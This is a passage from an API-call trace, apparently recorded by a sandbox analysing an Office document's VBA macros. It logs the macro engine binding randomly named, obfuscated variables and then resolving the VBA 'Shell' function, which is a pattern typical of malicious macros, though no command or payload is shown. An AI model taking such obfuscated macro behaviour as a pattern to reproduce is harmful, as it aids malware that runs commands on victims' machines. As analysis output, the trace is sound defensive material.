[0029.941] ITypeComp:RemoteBind (in: This=0x757e060, szName="gxNUmgtWxGM", lHashVal=0x109c56, wFlags=0x3, ppTInfo=0x3072d0, pDescKind=0x3072e0, ppFuncDesc=0x3072d4, ppVarDesc=0x307470, ppTypeComp=0x4, pDummy=0x414 | out: ppTInfo=0x3072d0*=0x0, pDescKind=0x3072e0*=0, ppFuncDesc=0x3072d4, ppVarDesc=0x307470, ppTypeComp=0x4, pDummy=0x414) returned 0x0
[0029.941] CRetailMalloc_Alloc () returned 0x76ac2d0
[0029.941] _mbscpy_s (in: _Dst=0x76ac2d0, _DstSizeInBytes=0xc, _Src=0x81d0cb6 | out: _Dst=0x76ac2d0) returned 0x0
[0029.941] IUnknown:Release (This=0x75e9628) returned 0x5
[0029.941] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d196e, cbMultiByte=19, lpWideCharStr=0x307314, cchWideChar=20 | out: lpWideCharStr="_B_var_gxNUmgtWxGM") returned 19
[0029.941] ITypeComp:RemoteBind (in: This=0x75e9630, szName="_B_var_gxNUmgtWxGM", lHashVal=0x108db8, wFlags=0x3, ppTInfo=0x3072e0, pDescKind=0x3072f0, ppFuncDesc=0x3072e4, ppVarDesc=0x757a6a4, ppTypeComp=0x307470, pDummy=0x1 | out: ppTInfo=0x3072e0*=0x0, pDescKind=0x3072f0*=0, ppFuncDesc=0x3072e4, ppVarDesc=0x757a6a4, ppTypeComp=0x307470*=0x0, pDummy=0x1) returned 0x0
[0029.941] _mbscpy_s (in: _Dst=0x30737c, _DstSizeInBytes=0xc, _Src=0x81d0cb6 | out: _Dst=0x30737c) returned 0x0
[0029.941] CRetailMalloc_Free () returned 0x12b20401
[0029.942] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d0cde, cbMultiByte=9, lpWideCharStr=0x307304, cchWideChar=10 | out: lpWideCharStr="NTmebYUL") returned 9
[0029.942] ITypeComp:RemoteBind (in: This=0x757e060, szName="NTmebYUL", lHashVal=0x109dd4, wFlags=0x3, ppTInfo=0x3072d0, pDescKind=0x3072e0, ppFuncDesc=0x3072d4, ppVarDesc=0x307470, ppTypeComp=0x4, pDummy=0x416 | out: ppTInfo=0x3072d0*=0x0, pDescKind=0x3072e0*=0, ppFuncDesc=0x3072d4, ppVarDesc=0x307470, ppTypeComp=0x4, pDummy=0x416) returned 0x0
[0029.942] CRetailMalloc_Alloc () returned 0x7605300
[0029.942] _mbscpy_s (in: _Dst=0x7605300, _DstSizeInBytes=0x9, _Src=0x81d0cde | out: _Dst=0x7605300) returned 0x0
[0029.942] IUnknown:Release (This=0x75e9628) returned 0x5
[0029.942] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d199e, cbMultiByte=16, lpWideCharStr=0x307314, cchWideChar=17 | out: lpWideCharStr="_B_var_NTmebYUL") returned 16
[0029.942] ITypeComp:RemoteBind (in: This=0x75e9630, szName="_B_var_NTmebYUL", lHashVal=0x10755d, wFlags=0x3, ppTInfo=0x3072e0, pDescKind=0x3072f0, ppFuncDesc=0x3072e4, ppVarDesc=0x757a6a4, ppTypeComp=0x307470, pDummy=0x1 | out: ppTInfo=0x3072e0*=0x0, pDescKind=0x3072f0*=0, ppFuncDesc=0x3072e4, ppVarDesc=0x757a6a4, ppTypeComp=0x307470*=0x0, pDummy=0x1) returned 0x0
[0029.942] CRetailMalloc_Realloc () returned 0x45735f8
[0029.942] _mbscpy_s (in: _Dst=0x30737c, _DstSizeInBytes=0x9, _Src=0x81d0cde | out: _Dst=0x30737c) returned 0x0
[0029.942] CRetailMalloc_Free () returned 0x8540201
[0029.943] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d0d06, cbMultiByte=8, lpWideCharStr=0x307304, cchWideChar=9 | out: lpWideCharStr="aRwMduN") returned 8
[0029.943] ITypeComp:RemoteBind (in: This=0x757e060, szName="aRwMduN", lHashVal=0x1054a7, wFlags=0x3, ppTInfo=0x3072d0, pDescKind=0x3072e0, ppFuncDesc=0x3072d4, ppVarDesc=0x307470, ppTypeComp=0x4, pDummy=0x418 | out: ppTInfo=0x3072d0*=0x0, pDescKind=0x3072e0*=0, ppFuncDesc=0x3072d4, ppVarDesc=0x307470, ppTypeComp=0x4, pDummy=0x418) returned 0x0
[0029.943] CRetailMalloc_Alloc () returned 0x7605300
[0029.943] _mbscpy_s (in: _Dst=0x7605300, _DstSizeInBytes=0x8, _Src=0x81d0d06 | out: _Dst=0x7605300) returned 0x0
[0029.943] IUnknown:Release (This=0x75e9628) returned 0x5
[0029.943] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d19ca, cbMultiByte=15, lpWideCharStr=0x307314, cchWideChar=16 | out: lpWideCharStr="_B_var_aRwMduN") returned 15
[0029.943] ITypeComp:RemoteBind (in: This=0x75e9630, szName="_B_var_aRwMduN", lHashVal=0x10582b, wFlags=0x3, ppTInfo=0x3072e0, pDescKind=0x3072f0, ppFuncDesc=0x3072e4, ppVarDesc=0x757a6a4, ppTypeComp=0x307470, pDummy=0x1 | out: ppTInfo=0x3072e0*=0x0, pDescKind=0x3072f0*=0, ppFuncDesc=0x3072e4, ppVarDesc=0x757a6a4, ppTypeComp=0x307470*=0x0, pDummy=0x1) returned 0x0
[0029.943] _mbscpy_s (in: _Dst=0x30737c, _DstSizeInBytes=0x8, _Src=0x81d0d06 | out: _Dst=0x30737c) returned 0x0
[0029.943] CRetailMalloc_Free () returned 0x8540201
[0029.943] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d0d2a, cbMultiByte=9, lpWideCharStr=0x307304, cchWideChar=10 | out: lpWideCharStr="xpZSkkRz") returned 9
[0029.943] ITypeComp:RemoteBind (in: This=0x757e060, szName="xpZSkkRz", lHashVal=0x1074ce, wFlags=0x3, ppTInfo=0x3072d0, pDescKind=0x3072e0, ppFuncDesc=0x3072d4, ppVarDesc=0x307470, ppTypeComp=0x4, pDummy=0x41a | out: ppTInfo=0x3072d0*=0x0, pDescKind=0x3072e0*=0, ppFuncDesc=0x3072d4, ppVarDesc=0x307470, ppTypeComp=0x4, pDummy=0x41a) returned 0x0
[0029.944] CRetailMalloc_Alloc () returned 0x7605300
[0029.944] _mbscpy_s (in: _Dst=0x7605300, _DstSizeInBytes=0x9, _Src=0x81d0d2a | out: _Dst=0x7605300) returned 0x0
[0029.944] IUnknown:Release (This=0x75e9628) returned 0x5
[0029.944] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d19f6, cbMultiByte=16, lpWideCharStr=0x307314, cchWideChar=17 | out: lpWideCharStr="_B_var_xpZSkkRz") returned 16
[0029.944] ITypeComp:RemoteBind (in: This=0x75e9630, szName="_B_var_xpZSkkRz", lHashVal=0x104c57, wFlags=0x3, ppTInfo=0x3072e0, pDescKind=0x3072f0, ppFuncDesc=0x3072e4, ppVarDesc=0x757a6a4, ppTypeComp=0x307470, pDummy=0x1 | out: ppTInfo=0x3072e0*=0x0, pDescKind=0x3072f0*=0, ppFuncDesc=0x3072e4, ppVarDesc=0x757a6a4, ppTypeComp=0x307470*=0x0, pDummy=0x1) returned 0x0
[0029.944] _mbscpy_s (in: _Dst=0x30737c, _DstSizeInBytes=0x9, _Src=0x81d0d2a | out: _Dst=0x30737c) returned 0x0
[0029.944] CRetailMalloc_Free () returned 0x8540201
[0029.944] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d0d52, cbMultiByte=8, lpWideCharStr=0x307304, cchWideChar=9 | out: lpWideCharStr="ZvStsRF") returned 8
[0029.944] ITypeComp:RemoteBind (in: This=0x757e060, szName="ZvStsRF", lHashVal=0x10c447, wFlags=0x3, ppTInfo=0x3072d0, pDescKind=0x3072e0, ppFuncDesc=0x3072d4, ppVarDesc=0x307470, ppTypeComp=0x4, pDummy=0x41c | out: ppTInfo=0x3072d0*=0x0, pDescKind=0x3072e0*=0, ppFuncDesc=0x3072d4, ppVarDesc=0x307470, ppTypeComp=0x4, pDummy=0x41c) returned 0x0
[0029.944] CRetailMalloc_Alloc () returned 0x7605300
[0029.944] _mbscpy_s (in: _Dst=0x7605300, _DstSizeInBytes=0x8, _Src=0x81d0d52 | out: _Dst=0x7605300) returned 0x0
[0029.945] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ecTDmEyRUr", cchCount1=-1, lpString2="_B_var_ZvStsRF", cchCount2=-1) returned 3
[0029.945] IUnknown:Release (This=0x75e9628) returned 0x5
[0029.945] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d1a22, cbMultiByte=15, lpWideCharStr=0x307314, cchWideChar=16 | out: lpWideCharStr="_B_var_ZvStsRF") returned 15
[0029.945] ITypeComp:RemoteBind (in: This=0x75e9630, szName="_B_var_ZvStsRF", lHashVal=0x10c7cb, wFlags=0x3, ppTInfo=0x3072e0, pDescKind=0x3072f0, ppFuncDesc=0x3072e4, ppVarDesc=0x757a6a4, ppTypeComp=0x307470, pDummy=0x1 | out: ppTInfo=0x3072e0*=0x0, pDescKind=0x3072f0*=0, ppFuncDesc=0x3072e4, ppVarDesc=0x757a6a4, ppTypeComp=0x307470*=0x0, pDummy=0x1) returned 0x0
[0029.945] _mbscpy_s (in: _Dst=0x30737c, _DstSizeInBytes=0x8, _Src=0x81d0d52 | out: _Dst=0x30737c) returned 0x0
[0029.945] CRetailMalloc_Free () returned 0x8540201
[0029.945] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d0d76, cbMultiByte=8, lpWideCharStr=0x307304, cchWideChar=9 | out: lpWideCharStr="PWwDgrB") returned 8
[0029.945] ITypeComp:RemoteBind (in: This=0x757e060, szName="PWwDgrB", lHashVal=0x1070fd, wFlags=0x3, ppTInfo=0x3072d0, pDescKind=0x3072e0, ppFuncDesc=0x3072d4, ppVarDesc=0x307470, ppTypeComp=0x4, pDummy=0x41e | out: ppTInfo=0x3072d0*=0x0, pDescKind=0x3072e0*=0, ppFuncDesc=0x3072d4, ppVarDesc=0x307470, ppTypeComp=0x4, pDummy=0x41e) returned 0x0
[0029.945] CRetailMalloc_Alloc () returned 0x7605300
[0029.945] _mbscpy_s (in: _Dst=0x7605300, _DstSizeInBytes=0x8, _Src=0x81d0d76 | out: _Dst=0x7605300) returned 0x0
[0029.946] IUnknown:Release (This=0x75e9628) returned 0x5
[0029.946] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d1a4e, cbMultiByte=15, lpWideCharStr=0x307314, cchWideChar=16 | out: lpWideCharStr="_B_var_PWwDgrB") returned 15
[0029.946] ITypeComp:RemoteBind (in: This=0x75e9630, szName="_B_var_PWwDgrB", lHashVal=0x107481, wFlags=0x3, ppTInfo=0x3072e0, pDescKind=0x3072f0, ppFuncDesc=0x3072e4, ppVarDesc=0x757a6a4, ppTypeComp=0x307470, pDummy=0x1 | out: ppTInfo=0x3072e0*=0x0, pDescKind=0x3072f0*=0, ppFuncDesc=0x3072e4, ppVarDesc=0x757a6a4, ppTypeComp=0x307470*=0x0, pDummy=0x1) returned 0x0
[0029.946] _mbscpy_s (in: _Dst=0x30737c, _DstSizeInBytes=0x8, _Src=0x81d0d76 | out: _Dst=0x30737c) returned 0x0
[0029.946] CRetailMalloc_Free () returned 0x8540201
[0029.946] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d0d9a, cbMultiByte=9, lpWideCharStr=0x307304, cchWideChar=10 | out: lpWideCharStr="bDPRdLpa") returned 9
[0029.946] ITypeComp:RemoteBind (in: This=0x757e060, szName="bDPRdLpa", lHashVal=0x10cfd4, wFlags=0x3, ppTInfo=0x3072d0, pDescKind=0x3072e0, ppFuncDesc=0x3072d4, ppVarDesc=0x307470, ppTypeComp=0x4, pDummy=0x420 | out: ppTInfo=0x3072d0*=0x0, pDescKind=0x3072e0*=0, ppFuncDesc=0x3072d4, ppVarDesc=0x307470, ppTypeComp=0x4, pDummy=0x420) returned 0x0
[0029.946] CRetailMalloc_Alloc () returned 0x7605300
[0029.946] _mbscpy_s (in: _Dst=0x7605300, _DstSizeInBytes=0x9, _Src=0x81d0d9a | out: _Dst=0x7605300) returned 0x0
[0029.947] IUnknown:Release (This=0x75e9628) returned 0x5
[0029.947] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d1a7a, cbMultiByte=16, lpWideCharStr=0x307314, cchWideChar=17 | out: lpWideCharStr="_B_var_bDPRdLpa") returned 16
[0029.947] ITypeComp:RemoteBind (in: This=0x75e9630, szName="_B_var_bDPRdLpa", lHashVal=0x10a75d, wFlags=0x3, ppTInfo=0x3072e0, pDescKind=0x3072f0, ppFuncDesc=0x3072e4, ppVarDesc=0x757a6a4, ppTypeComp=0x307470, pDummy=0x1 | out: ppTInfo=0x3072e0*=0x0, pDescKind=0x3072f0*=0, ppFuncDesc=0x3072e4, ppVarDesc=0x757a6a4, ppTypeComp=0x307470*=0x0, pDummy=0x1) returned 0x0
[0029.947] _mbscpy_s (in: _Dst=0x30737c, _DstSizeInBytes=0x9, _Src=0x81d0d9a | out: _Dst=0x30737c) returned 0x0
[0029.947] CRetailMalloc_Free () returned 0x8540201
[0029.947] CRetailMalloc_Realloc () returned 0x750d7c0
[0029.947] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d0dc2, cbMultiByte=12, lpWideCharStr=0x307304, cchWideChar=13 | out: lpWideCharStr="bNWzAbXfdBp") returned 12
[0029.947] ITypeComp:RemoteBind (in: This=0x757e060, szName="bNWzAbXfdBp", lHashVal=0x106daa, wFlags=0x3, ppTInfo=0x3072d0, pDescKind=0x3072e0, ppFuncDesc=0x3072d4, ppVarDesc=0x307470, ppTypeComp=0x4, pDummy=0x422 | out: ppTInfo=0x3072d0*=0x0, pDescKind=0x3072e0*=0, ppFuncDesc=0x3072d4, ppVarDesc=0x307470, ppTypeComp=0x4, pDummy=0x422) returned 0x0
[0029.947] CRetailMalloc_Alloc () returned 0x76ac2d0
[0029.947] _mbscpy_s (in: _Dst=0x76ac2d0, _DstSizeInBytes=0xc, _Src=0x81d0dc2 | out: _Dst=0x76ac2d0) returned 0x0
[0029.948] IUnknown:Release (This=0x75e9628) returned 0x5
[0029.948] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d1aa6, cbMultiByte=19, lpWideCharStr=0x307314, cchWideChar=20 | out: lpWideCharStr="_B_var_bNWzAbXfdBp") returned 19
[0029.948] ITypeComp:RemoteBind (in: This=0x75e9630, szName="_B_var_bNWzAbXfdBp", lHashVal=0x105f0c, wFlags=0x3, ppTInfo=0x3072e0, pDescKind=0x3072f0, ppFuncDesc=0x3072e4, ppVarDesc=0x757a6a4, ppTypeComp=0x307470, pDummy=0x1 | out: ppTInfo=0x3072e0*=0x0, pDescKind=0x3072f0*=0, ppFuncDesc=0x3072e4, ppVarDesc=0x757a6a4, ppTypeComp=0x307470*=0x0, pDummy=0x1) returned 0x0
[0029.948] _mbscpy_s (in: _Dst=0x30737c, _DstSizeInBytes=0xc, _Src=0x81d0dc2 | out: _Dst=0x30737c) returned 0x0
[0029.948] CRetailMalloc_Free () returned 0x12b20401
[0029.948] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d0dea, cbMultiByte=11, lpWideCharStr=0x307304, cchWideChar=12 | out: lpWideCharStr="PHuvNFLBmA") returned 11
[0029.948] ITypeComp:RemoteBind (in: This=0x757e060, szName="PHuvNFLBmA", lHashVal=0x1080d2, wFlags=0x3, ppTInfo=0x3072d0, pDescKind=0x3072e0, ppFuncDesc=0x3072d4, ppVarDesc=0x307470, ppTypeComp=0x4, pDummy=0x424 | out: ppTInfo=0x3072d0*=0x0, pDescKind=0x3072e0*=0, ppFuncDesc=0x3072d4, ppVarDesc=0x307470, ppTypeComp=0x4, pDummy=0x424) returned 0x0
[0029.948] CRetailMalloc_Alloc () returned 0x76ac2d0
[0029.948] _mbscpy_s (in: _Dst=0x76ac2d0, _DstSizeInBytes=0xb, _Src=0x81d0dea | out: _Dst=0x76ac2d0) returned 0x0
[0029.948] IUnknown:Release (This=0x75e9628) returned 0x5
[0029.948] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d1ad6, cbMultiByte=18, lpWideCharStr=0x307314, cchWideChar=19 | out: lpWideCharStr="_B_var_PHuvNFLBmA") returned 18
[0029.949] ITypeComp:RemoteBind (in: This=0x75e9630, szName="_B_var_PHuvNFLBmA", lHashVal=0x10ef3c, wFlags=0x3, ppTInfo=0x3072e0, pDescKind=0x3072f0, ppFuncDesc=0x3072e4, ppVarDesc=0x757a6a4, ppTypeComp=0x307470, pDummy=0x1 | out: ppTInfo=0x3072e0*=0x0, pDescKind=0x3072f0*=0, ppFuncDesc=0x3072e4, ppVarDesc=0x757a6a4, ppTypeComp=0x307470*=0x0, pDummy=0x1) returned 0x0
[0029.949] _mbscpy_s (in: _Dst=0x30737c, _DstSizeInBytes=0xb, _Src=0x81d0dea | out: _Dst=0x30737c) returned 0x0
[0029.949] CRetailMalloc_Free () returned 0x12b20401
[0029.949] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d0e12, cbMultiByte=9, lpWideCharStr=0x307304, cchWideChar=10 | out: lpWideCharStr="zWtcLfDZ") returned 9
[0029.949] ITypeComp:RemoteBind (in: This=0x757e060, szName="zWtcLfDZ", lHashVal=0x10f6ff, wFlags=0x3, ppTInfo=0x3072d0, pDescKind=0x3072e0, ppFuncDesc=0x3072d4, ppVarDesc=0x307470, ppTypeComp=0x4, pDummy=0x426 | out: ppTInfo=0x3072d0*=0x0, pDescKind=0x3072e0*=0, ppFuncDesc=0x3072d4, ppVarDesc=0x307470, ppTypeComp=0x4, pDummy=0x426) returned 0x0
[0029.949] CRetailMalloc_Alloc () returned 0x7605300
[0029.949] _mbscpy_s (in: _Dst=0x7605300, _DstSizeInBytes=0x9, _Src=0x81d0e12 | out: _Dst=0x7605300) returned 0x0
[0029.950] IUnknown:Release (This=0x75e9628) returned 0x5
[0029.950] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d1b06, cbMultiByte=16, lpWideCharStr=0x307314, cchWideChar=17 | out: lpWideCharStr="_B_var_zWtcLfDZ") returned 16
[0029.950] ITypeComp:RemoteBind (in: This=0x75e9630, szName="_B_var_zWtcLfDZ", lHashVal=0x10ce88, wFlags=0x3, ppTInfo=0x3072e0, pDescKind=0x3072f0, ppFuncDesc=0x3072e4, ppVarDesc=0x757a6a4, ppTypeComp=0x307470, pDummy=0x1 | out: ppTInfo=0x3072e0*=0x0, pDescKind=0x3072f0*=0, ppFuncDesc=0x3072e4, ppVarDesc=0x757a6a4, ppTypeComp=0x307470*=0x0, pDummy=0x1) returned 0x0
[0029.950] _mbscpy_s (in: _Dst=0x30737c, _DstSizeInBytes=0x9, _Src=0x81d0e12 | out: _Dst=0x30737c) returned 0x0
[0029.950] CRetailMalloc_Free () returned 0x8540201
[0029.950] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d119e, cbMultiByte=12, lpWideCharStr=0x307304, cchWideChar=13 | out: lpWideCharStr="umLbPFhprKh") returned 12
[0029.950] ITypeComp:RemoteBind (in: This=0x757e060, szName="umLbPFhprKh", lHashVal=0x100515, wFlags=0x3, ppTInfo=0x3072d0, pDescKind=0x3072e0, ppFuncDesc=0x3072d4, ppVarDesc=0x307470, ppTypeComp=0x4, pDummy=0x454 | out: ppTInfo=0x3072d0*=0x0, pDescKind=0x3072e0*=0, ppFuncDesc=0x3072d4, ppVarDesc=0x307470, ppTypeComp=0x4, pDummy=0x454) returned 0x0
[0029.950] CRetailMalloc_Alloc () returned 0x76ac2d0
[0029.950] _mbscpy_s (in: _Dst=0x76ac2d0, _DstSizeInBytes=0xc, _Src=0x81d119e | out: _Dst=0x76ac2d0) returned 0x0
[0029.950] IUnknown:Release (This=0x75e9628) returned 0x5
[0029.951] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d1b32, cbMultiByte=19, lpWideCharStr=0x307314, cchWideChar=20 | out: lpWideCharStr="_B_var_umLbPFhprKh") returned 19
[0029.951] ITypeComp:RemoteBind (in: This=0x75e9630, szName="_B_var_umLbPFhprKh", lHashVal=0x10f6b6, wFlags=0x3, ppTInfo=0x3072e0, pDescKind=0x3072f0, ppFuncDesc=0x3072e4, ppVarDesc=0x757a6a4, ppTypeComp=0x307470, pDummy=0x1 | out: ppTInfo=0x3072e0*=0x0, pDescKind=0x3072f0*=0, ppFuncDesc=0x3072e4, ppVarDesc=0x757a6a4, ppTypeComp=0x307470*=0x0, pDummy=0x1) returned 0x0
[0029.951] _mbscpy_s (in: _Dst=0x30737c, _DstSizeInBytes=0xc, _Src=0x81d119e | out: _Dst=0x30737c) returned 0x0
[0029.951] CRetailMalloc_Free () returned 0x12b20401
[0029.952] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d117a, cbMultiByte=6, lpWideCharStr=0x30730c, cchWideChar=7 | out: lpWideCharStr="Shell") returned 6
[0029.952] ITypeComp:RemoteBind (in: This=0x75e9630, szName="Shell", lHashVal=0x10d756, wFlags=0x1, ppTInfo=0x3072d8, pDescKind=0x3072e8, ppFuncDesc=0x3072dc, ppVarDesc=0x757a6a4, ppTypeComp=0x307444, pDummy=0x3 | out: ppTInfo=0x3072d8*=0x75817bc, pDescKind=0x3072e8*=1, ppFuncDesc=0x3072dc, ppVarDesc=0x757a6a4, ppTypeComp=0x307444*=0x0, pDummy=0x3) returned 0x0
[0029.952] ITypeInfo:RemoteGetTypeAttr (in: This=0x75817bc, ppTypeAttr=0x3072ec, pDummy=0x757a6a4 | out: ppTypeAttr=0x3072ec, pDummy=0x757a6a4*=0xffff) returned 0x0
[0029.952] ITypeInfo:LocalReleaseTypeAttr (This=0x75817bc) returned 0x74b30c8
[0029.952] ITypeInfo:GetRefTypeInfo (in: This=0x75817bc, hreftype=0x320, ppTInfo=0x30722c | out: ppTInfo=0x30722c*=0x75817e8) returned 0x0
[0029.953] IUnknown:QueryInterface (in: This=0x75817e8, riid=0x727944c0*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x307268 | out: ppvObject=0x307268*=0x0) returned 0x80004002
[0029.953] ITypeInfo:RemoteGetTypeAttr (in: This=0x75817e8, ppTypeAttr=0x30726c, pDummy=0x0 | out: ppTypeAttr=0x30726c, pDummy=0x0) returned 0x0
[0029.953] ITypeInfo:LocalReleaseTypeAttr (This=0x75817e8) returned 0x74b30c8
[0029.953] CRetailMalloc_Realloc () returned 0x7605300
[0029.953] CRetailMalloc_Realloc () returned 0x57b2fa8
[0029.953] IUnknown:Release (This=0x75817e8) returned 0x1
[0029.953] CRetailMalloc_Realloc () returned 0x743b358
[0029.953] IUnknown:AddRef (This=0x75817e8) returned 0x2
[0029.953] IUnknown:Release (This=0x75817e8) returned 0x1
[0029.953] IUnknown:QueryInterface (in: This=0x75817bc, riid=0x7278eb6c*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3071cc | out: ppvObject=0x3071cc*=0x75817bc) returned 0x0
[0029.954] ITypeInfo2:GetFuncIndexOfMemId (in: This=0x75817bc, memid=1610612745, invkind=1, pFuncIndex=0x3071e0 | out: pFuncIndex=0x3071e0*=0x9) returned 0x0
[0029.954] ITypeInfo2:GetParamCustData (in: This=0x75817bc, indexFunc=0x9, indexParam=0x1, GUID=0x727968c8*(Data1=0x270d72b0, Data2=0xffb8, Data3=0x11cf, Data4=([0]=0xa4, [1]=0xbd, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x26, [7]=0xee)), pVarVal=0x3071bc | out: pVarVal=0x3071bc*(varType=0x0, wReserved1=0x743, wReserved2=0xa980, wReserved3=0x753, varVal1=0x74d3dd4, varVal2=0x0)) returned 0x0
[0029.954] IUnknown:Release (This=0x75817bc) returned 0x1
[0029.954] IUnknown:QueryInterface (in: This=0x75817bc, riid=0x7278eb6c*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x30725c | out: ppvObject=0x30725c*=0x75817bc) returned 0x0
[0029.955] ITypeInfo2:GetFuncIndexOfMemId (in: This=0x75817bc, memid=1610612745, invkind=1, pFuncIndex=0x307260 | out: pFuncIndex=0x307260*=0x9) returned 0x0
[0029.955] ITypeInfo2:GetFuncCustData (in: This=0x75817bc, index=0x9, GUID=0x72799940*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0x307244 | out: pVarVal=0x307244*(varType=0x0, wReserved1=0x30, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0)) returned 0x0
[0029.955] IUnknown:Release (This=0x75817bc) returned 0x1
[0029.955] IUnknown:AddRef (This=0x75817e8) returned 0x2
[0029.955] IUnknown:QueryInterface (in: This=0x75817e8, riid=0x727944b0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x3071f8 | out: ppvObject=0x3071f8*=0x0) returned 0x80004002
[0029.955] IUnknown:QueryInterface (in: This=0x75817e8, riid=0x727944c0*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x307220 | out: ppvObject=0x307220*=0x0) returned 0x80004002
[0029.955] IUnknown:QueryInterface (in: This=0x75817e8, riid=0x727964a4*(Data1=0xcacc1e89, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x3071d8 | out: ppvObject=0x3071d8*=0x0) returned 0x80004002
[0029.955] IUnknown:Release (This=0x75817e8) returned 0x1
[0029.955] IUnknown:AddRef (This=0x75817bc) returned 0x2
[0029.955] ITypeInfo:LocalReleaseFuncDesc (This=0x75817bc) returned 0x74d3dd0
[0029.955] IUnknown:Release (This=0x75817bc) returned 0x1
[0029.955] IUnknown:QueryInterface (in: This=0x75817bc, riid=0x7278c9d8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x307390 | out: ppvObject=0x307390*=0x0) returned 0x80004002
[0029.955] IUnknown:AddRef (This=0x75817bc) returned 0x2
[0029.955] IUnknown:Release (This=0x75817bc) returned 0x2
[0029.955] IUnknown:QueryInterface (in: This=0x75817bc, riid=0x7278c9d8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x3073e4 | out: ppvObject=0x3073e4*=0x0) returned 0x80004002
[0029.955] IUnknown:QueryInterface (in: This=0x75817bc, riid=0x727944b0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x3073e8 | out: ppvObject=0x3073e8*=0x0) returned 0x80004002
[0029.955] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x75817bc, ppTLib=0x30700c, pIndex=0x0 | out: ppTLib=0x30700c*=0x75e9628, pIndex=0x0) returned 0x0
[0029.955] ITypeLib:RemoteGetLibAttr (in: This=0x75e9628, ppTLibAttr=0x307004, pDummy=0x0 | out: ppTLibAttr=0x307004, pDummy=0x0) returned 0x0
[0029.956] ITypeLib:LocalReleaseTLibAttr (This=0x75e9628) returned 0x7611d88
[0029.956] IUnknown:Release (This=0x75e9628) returned 0x7
[0029.956] ITypeInfo:RemoteGetDllEntry (in: This=0x75817bc, memid=1610612745, invkind=1, refPtrFlags=0x30700c, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x307044 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x307044*=0x1460) returned 0x0
[0029.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x727aded0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9
